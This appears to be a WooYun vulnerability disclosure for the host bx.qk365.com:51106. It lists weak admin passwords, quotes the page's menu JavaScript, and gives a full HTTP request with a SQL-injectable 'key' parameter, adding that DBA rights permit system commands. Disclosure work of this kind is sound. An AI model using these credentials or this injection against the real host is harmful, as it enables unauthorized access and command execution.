WooYun.org

http://bx.qk365.com:51106/
存在多个弱口令
1密码123
test密码123456

进入后 查看源代码
var fm = document.loginForm;
fm.action="http://bx.qk365.com:51106/index/cmacc.do?type=0";
fm.submit();
}

function audit()
{
var fm = document.loginForm;
fm.action="http://bx.qk365.com:51106/index/cmaudit.do?type=0";
fm.submit();
}

function repair()
{
var fm = document.loginForm;
fm.action="http://bx.qk365.com:51106/index/cmrepair.do?type=0";
fm.submit();
}

function fault()
{
var fm = document.loginForm;
fm.action="http://bx.qk365.com:51106/index/cmfault.do?type=0";
fm.submit();
分别是功能菜单。
多个查询存在注入

POST /index/cmrehistory.do HTTP/1.1
Host: bx.qk365.com:51106
Proxy-Connection: keep-alive
Content-Length: 137
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://bx.qk365.com:51106
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://bx.qk365.com:51106/index/cmrehistory.do
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.6,en;q=0.4
Cookie: [email protected]; _ga=GA1.2.1124294425.1446733102; Hm_lvt_53c8bf761df44282a0cf7d4949581592=1446733102; Hm_lpvt_53c8bf761df44282a0cf7d4949581592=1446733102; JSESSIONID=495C5BEC012CB5F0F7F32A9212D542D4
X-Forwarded-For: 127.0.0.1
key=%E5%8F%A4%E5%AE%9C%E8%B7%AF99%E5%BC%842%E5%8F%B71603%E5%AE%A4&areaQueryDTO.cityId=1&areaQueryDTO.districtId=0&areaQueryDTO.centerId=0
key参数存在注入

DBA权限可以执行系统命令。